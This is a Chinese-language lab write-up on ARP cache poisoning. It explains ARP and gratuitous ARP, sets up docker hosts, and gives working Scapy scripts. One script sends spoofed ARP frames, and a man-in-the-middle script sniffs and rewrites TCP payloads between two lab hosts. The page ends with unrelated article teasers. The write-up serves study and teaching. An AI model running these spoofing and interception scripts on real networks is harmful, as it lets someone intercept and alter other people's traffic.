arp缓存中毒实验

news2024/11/13 15:03:45

文章目录

  • 一、相关知识
    • 1.什么是arp(地址解析协议)
    • 2.什么是免费arp
      • (1)简介
      • (2)主要应用
      • (3)代码
    • 3.什么是arp缓存中毒
      • (1)简介
      • (2)过程
      • (3)目的
      • (4)防御
  • 二、arp缓存中毒 攻击过程
    • 1.搭建网络
      • (1)网络拓扑
      • (2)搭建网络的代码
    • 2.查看ip对应的MAC
      • (1)docker2(192.168.60.1)的MAC
      • (2)HostA和HostM的MAC
    • 3.arp缓存中毒攻击
      • (1)代码
    • 4.中间人攻击

参考资料:
TCP/IP Attacks – ARP Cache Poisoning Fundamentals Explained
ARP缓存中毒攻击

一、相关知识

1.什么是arp(地址解析协议)

ARP工作在OSI模型的第二层(数据链路层)和第三层(网络层)之间。

以下是ARP的基本工作流程:
1)ARP请求
当设备A需要向设备B发送数据时,它需要知道设备B的MA C地址。
设备A在其ARP缓存中查找设备B的IP地址是否已经对应了一个MAC地址。如果找不到,设备A会发送一个ARP请求。
ARP请求是一个广播消息,包含发送方的IP地址和MAC地址,以及目标设备的IP地址。
2)ARP响应
网络中的所有设备都会接收并检查这个ARP请求。只有目标设备(设备B)会进行响应。
设备B接收到ARP请求后,发送一个ARP响应,包含自己的MAC地址。
设备A接收到ARP响应后,将设备B的IP地址和MAC地址映射存储在其ARP缓存中。
3)数据传输
设备A现在有了设备B的MAC地址,可以通过数据链路层进行数据传输。

2.什么是免费arp

(1)简介

免费ARP(Gratuitous ARP)是一种特殊的ARP请求,设备发送这种请求并不是为了解析某个IP地址,而是为了主动通知网络中的其他设备关于自身的IP地址和MAC地址的映射。免费ARP消息中,源IP地址和目标IP地址都是发送设备的IP地址。以下是免费ARP的主要应用和工作原理。

(2)主要应用

1)IP地址冲突检测:
当设备启动并获取IP地址后,会发送一个免费ARP请求。
如果网络中存在另一台设备拥有相同的IP地址,该设备会响应此请求,从而检测到IP地址冲突。

2)ARP缓存更新:
当设备的MAC地址发生变化(例如,网卡更换或虚拟机迁移)时,发送免费ARP请求通知网络中的其他设备更新它们的ARP缓存。
这有助于保持网络中ARP缓存的最新状态,避免通信问题。

3)网络冗余和负载均衡:
在使用VRRP(虚拟路由器冗余协议)和HSRP(热备份路由协议)等协议时,主路由器发生切换后,会发送免费ARP请求通知网络中的设备更新ARP缓存,以指向新的主路由器。

(3)代码

from scapy.all import *

# 构建免费ARP请求包
gratuitous_arp = ARP(op=1, psrc="192.168.1.100", hwsrc="aa:bb:cc:dd:ee:ff", pdst="192.168.1.100")

# 发送免费ARP请求
send(gratuitous_arp, verbose=False)

3.什么是arp缓存中毒

(1)简介

ARP缓存中毒(ARP Cache Poisoning),也称为ARP欺骗(ARP Spoofing),是一种网络攻击技术,攻击者通过发送伪造的ARP(地址解析协议)消息到局域网(LAN),将其MAC地址与另一台合法计算机的IP地址相关联,从而导致网络数据包被错误地发送到攻击者的设备。

(2)过程

1)伪造ARP响应:攻击者向局域网中的其他设备发送伪造的ARP响应消息。这些伪造消息包含攻击者的MAC地址和被攻击者的IP地址。
2)更新ARP缓存:接收到伪造ARP响应的设备会更新其ARP缓存,错误地将攻击者的MAC地址与合法的IP地址相关联。
3)数据包重定向:由于设备的ARP缓存已被中毒,发送到受害者IP地址的数据包会被错误地发送到攻击者的设备。

(3)目的

1)中间人攻击(Man-in-the-Middle Attack):攻击者可以截获、监视和修改在两个设备之间传输的数据。
2)拒绝服务(Denial of Service, DoS):攻击者可以通过中毒多个设备的ARP缓存,导致网络中断。
3)网络嗅探(Network Sniffing):攻击者可以捕获敏感信息,如用户名、密码、银行信息等。

(4)防御

1)静态ARP表:在设备上配置静态ARP映射,防止动态更新。
2)ARP检测工具:使用工具监控和检测ARP欺骗行为。
3)加密通信:使用加密协议保护敏感数据,防止被篡改和窃取。

二、arp缓存中毒 攻击过程

1.搭建网络

(1)网络拓扑

在这里插入图片描述

(2)搭建网络的代码

在 VM 上创建 docker 网络 extranet 
$ sudo docker network create --subnet=10.0.2.0/24 --gateway=10.0.2.8 --opt 
"com.docker.network.bridge.name"="docker1" extranet 
在 VM 上创建 docker 网络 intranet 
$ sudo docker network create --subnet=192.168.60.0/24 --gateway=192.168.60.1 --
opt "com.docker.network.bridge.name"="docker2" intranet 
在 VM 上新开一个终端,创建并运行容器 Server2
$sudo docker run -it --name=Server2 --hostname=Server2 --net=extranet --
ip=10.0.2.7 --privileged "seedubuntu" /bin/bash 
在 VM 上新开一个终端,创建并运行容器 HostA
$sudo docker run -it --name=HostA --hostname=HostA --net=intranet --
ip=192.168.60.2 --privileged "seedubuntu" /bin/bash 
在 VM 上新开一个终端,创建并运行容器 HostM
$sudo docker run -it --name=HostM --hostname=HostM --net=intranet --
ip=192.168.60.3 --privileged "seedubuntu" /bin/bash

2.查看ip对应的MAC

(1)docker2(192.168.60.1)的MAC

命令: ifconfig

结果:

在这里插入图片描述

HostB(192.168.60.1)的MAC为02:42:53:be:7a:36

(2)HostA和HostM的MAC

让HostA和HostM互相Ping,再用arp -a查看arp表:

在这里插入图片描述
HostA(192.168.60.2)的MAC为 02:42:c0:a8:3c:02

HostM(192.168.60.3)的MAC为 02:42:c0:a8:3c:03

3.arp缓存中毒攻击

(1)代码

在桌面建立一个arp_request.py文件:

from scapy.all import *
from time import *

# Machine A's informaton
IP_A = "192.168.60.2"
MAC_A = "02:42:c0:a8:3c:02"

# Machine B's informaton
IP_B = "192.168.60.1"
MAC_B = "02:42:53:be:7a:36"

# Attacker Machine's informaton
IP_M = "192.168.60.3"
MAC_M = "02:42:c0:a8:3c:03"


print("SENDING SPOOFED ARP REPLY.........")

# Construct spoofed ARP sent to machine A
ether1 = Ether()
ether1.dst = MAC_A
arp1 = ARP()
arp1.psrc = IP_B
arp1.hwsrc = MAC_M
arp1.pdst = IP_A
arp1.op = 1
frame1 = ether1/arp1

# Construct spoofed ARP sent to machine B
ether2 = Ether()
ether2.dst = MAC_B
arp2 = ARP()
arp2.psrc = IP_A
arp2.hwsrc = MAC_M
arp2.pdst = IP_B
arp2.op = 1
frame2 = ether2/arp2

while 1:
    sendp(frame1)
    sendp(frame2)
    sleep(5)

首先需要启动容器HostA和HostM:
sudo docker start HostA
sudo docker start HostM

将arp_request.py文件从主机移到HostM容器里:
sudo docker cp arp_request.py HostM:/

重新开一个终端,进入HostA,并ping192.168.60.1和192.168.60.3:
sudo docker exec -it HostA bin/bash
ping 192.168.60.1
ping 192.168.60.3

重新开一个终端,进入HostM,运行上述代码文件:
sudo docker exec -it HostM bin/bash
python3 arp_request.py

在HostA终端查看HostA的arp表:
arp -a
可以发现,HostB和HostM的MAC此时是一样的。

在这里插入图片描述

4.中间人攻击

(1)首先应该打开HostM的IP转发:sudo sysctl -w net.ipv4.ip_forward=1

(2)在HostA和HostB之间建立网络连接。
例如,可以使用netcat:
在HostB上启动监听:nc -l -p 12345
在HostA上连接HostB:nc 192.168.60.1 12345

(3)关闭HostM的IP转发
sudo sysctl -w net.ipv4.ip_forward=0

(4)HostM运行代码middle.py

#!/usr/bin/python
from scapy.all import *

VM_A_IP = "192.168.60.2"
VM_B_IP = "192.168.60.1"

MAC_A = "02:42:c0:a8:3c:02"
MAC_B = "02:42:53:be:7a:36"

def spoof_pkt(pkt):
    if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:
        print("ARP Cache Poisoning Man-in-the-MiddleAttacking...")
        data = pkt[TCP].payload.load
        print("Original Packet.........")
        print("Source IP: ", pkt[IP].src)
        print("Destination IP: ", pkt[IP].dst)
        print("Message: ", data)
        print("Message Length: %d" % (len(data)))

        newpkt = IP(bytes(pkt[IP]))
        del (newpkt.chksum)
        del (newpkt[TCP].payload)
        del (newpkt[TCP].chksum)
        newdata = data.replace(b'123', b'456')
        newpkt = newpkt/newdata

        print("Spoofed Packet.........")
        print("Source IP : ", newpkt[IP].src)
        print("Destination IP :", newpkt[IP].dst)
        print("Message: ", newdata)
        print("Message Length: %d" % (len(newdata)))

        send(newpkt)

    elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
        print("The message is sent from host B to host A...")
        newpkt = pkt[IP]
        send(newpkt)


f = 'tcp and (ether src ' + MAC_A + ' or ' + \
    'ether src ' + MAC_B + ' )'
pkt = sniff(iface="eth0", filter=f, prn=spoof_pkt)

此时,A给B发送123,B收到的是456

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1911527.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ubuntu使用kubeadm搭建k8s集群

一、卸载k8s kubeadm reset -f modprobe -r ipip lsmod rm -rf ~/.kube/ rm -rf /etc/kubernetes/ rm -rf /etc/systemd/system/kubelet.service.d rm -rf /etc/systemd/system/kubelet.service rm -rf /usr/bin/kube* rm -rf /etc/cni rm -rf /opt/cni rm -rf /var/lib/etcd …

第5章-组合序列类型

#全部是重点知识,必须会。 了解序列和索引|的相关概念 掌握序列的相关操作 掌握列表的相关操作 掌握元组的相关操作 掌握字典的相关操作 掌握集合的相关操作1,序列和索引 1,序列是一个用于存储多个值的连续空间,每一个值都对应一…

python实现建议股票计算器

name 无忧传播 stock_price 19.99 stock_code "003032" stock_rise 1.2 day 7print(f"公司:{name},代码:{stock_code},当前股价:{stock_price}")print("增长系数是:%f,经过%d天后&am…

Git本地仓库的搭建与使用

目录 一、前言 二、Linux下搭建 git 仓库 三、Windows下搭建 git 仓库 一、前言 做项目时,我们常常需要将自己的代码进行托管,但有时候 Github 的速度属实叫人流泪。有的人会选择 Gitee 等进行托管代码,这当然是可以的。那如果没有其他代码…

【VUE基础】VUE3第一节—vite创建vue3工程

什么是VUE Vue (发音为 /vjuː/,类似 view) 是一款用于构建用户界面的 JavaScript 框架。它基于标准 HTML、CSS 和 JavaScript 构建,并提供了一套声明式的、组件化的编程模型,帮助你高效地开发用户界面。无论是简单还是复杂的界面&#xff0…

藏汉翻译通作为翻译软件的优势有哪些?

藏汉翻译通作为一款专业的藏汉双语翻译软件,具有以下优势: 人工智能技术应用:藏汉翻译通利用了人工智能翻译和语音识别合成技术,提供智能藏文翻译服务。 高准确率:文字识别准确率可达90%,语音识别转化文字…

IDEA新建项目并撰写Java代码的方法

本文介绍在IntelliJ IDEA软件中,新建项目或打开已有项目,并撰写Java代码的具体方法;Groovy等语言的代码也可以基于这种方法来撰写。 在之前的文章IntelliJ IDEA社区版在Windows电脑中的下载、安装方法(https://blog.csdn.net/zheb…

Echarts水球图(liquidFill)添加文字

效果 代码 {type: liquidFill,shape: shapes[0].value,radius: 90%,data: [{name: 独立百货,value: 0}],center: [50%, 50%],color: [{type: linear,x: 0,y: 0,x2: 0,y2: 1,colorStops: [{offset: 0,color: #446bf5},{offset: 1,color: #2ca3e2}],globalCoord: false}],backgro…

混合贪心算法求解地铁线路调度

一、问题描述 城市轨道交通的繁荣发展,带来了车辆资源需求的日益增加。如何兼顾运营服务水平和运营成本,以最少的车底优质地完成运输任务成为一大严峻问题。本题在后续的描述中将由多辆动车和拖车组合而成的车组称为车底。在日常的运营组织中&#xff0…

算力狂飙|WAIC 2024上的服务器

7月7日,2024世界人工智能大会暨人工智能全球治理高级别会议(WAIC 2024)在上海落下帷幕。这场备受瞩目的AI盛宴与热辣夏日碰撞,吸引了全球科技、产业及学术界的广泛关注,线下参观人数突破30万人次,线上流量突…

DOM(文档对象模型)生命周期事件

前言 DOM 生命周期事件涉及到从创建、更新到销毁 DOM 元素的不同阶段。 ● 我们来看下当HTML文档加载完再执行JavaScript代码 document.addEventListener(DOMContentLoaded, function (e) {console.log(HTML parsed adn DOM tree built!, e); })● 除此之外,浏览…

Linux | 安装lb-toolkits 1.2.4库

Linux | 安装 lb-toolkits 最近又需要下载葵花的数据,之前分享过一次代码。今天发现之前的环境不小心被我删了,而运行相关的代码需要安装lb-toolkits这个库,今天正好记录了一下安装lb-toolkits的过程。 这里安装的版本是1.2.4,别…

【前端从入门到精通:第十二课: JS运算符及分支结构】

JavaScript运算符 算数运算符 关于自增自减运算 自增或者自减运算就是在本身的基础上进行1或者-1的操作 自增或者自减运算符可以在变量前也可以在变量后,但是意义不同 自增自减运算符如果在变量前,是先进行自增或者自减运算,在将变量给别人用…

基于springboot+vue实现的厨艺交流平台(文末源码+Lw)093

93基于SpringBootVue的实现的厨艺交流平台(源码数据库万字Lun文流程图ER图结构图演示视频软件包) 系统功能: 这次开发的厨艺交流平台功能有个人中心,食材分类管理,用户管理,菜品分类管理,菜谱信…

力扣第一题

1. 两数之和 提示 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是,数组中同一个元素在答案里不能重复出现。 你可…

CSS技巧专栏:一日一例 2.纯CSS实现 多彩边框按钮特效

大家好,今天是 CSS技巧一日一例 专栏的第二篇《纯CSS实现多彩边框按钮特效》 先看图: 开工前的准备工作 正如昨日所讲,为了案例的表现,也处于书写的习惯,在今天的案例开工前,先把昨天的准备工作重做一遍。 清除浏览器的默认样式定义页面基本颜色设定body的样式清除butt…

深入理解 Qt 的 `moveToThread`:提升多线程应用性能的关键

😎 作者介绍:欢迎来到我的主页👈,我是程序员行者孙,一个热爱分享技术的制能工人。计算机本硕,人工制能研究生。公众号:AI Sun(领取大厂面经等资料),欢迎加我的…

选择排序(C语言版)

选择排序是一种简单直观的排序算法 算法实现 首先在未排序序列中找到最小(大)元素,存放到排序序列的起始位置。 再从剩余未排序元素中继续寻找最小(大)元素,然后放到已排序序列的末尾。 重复第二步&…

CTF php RCE (一)

0x01 引言 首先进入题目 应该是大部分都是一段白盒PHP审计,然后我们为了命令执行,绕过或者是钻空子等等操作,来拿到flag 0x02 基础 0x01 传参方式 这里有两个工具,hackbar和burpsuite,这两个工具非常实用 大家可以自己Googl…

Linux 利用命名空间创建一个自己的“容器“

Linux 利用命名空间创建一个自己的"容器" 前置条件 创建一个目录存放容器mkdir /myapp准备静态编译busybox,操作系统自带的往往是依赖动态库的(本文使用的debian apt install busybox-static) 开始 使用unshare起一个独立命名空间.# 进入后/myapp目录…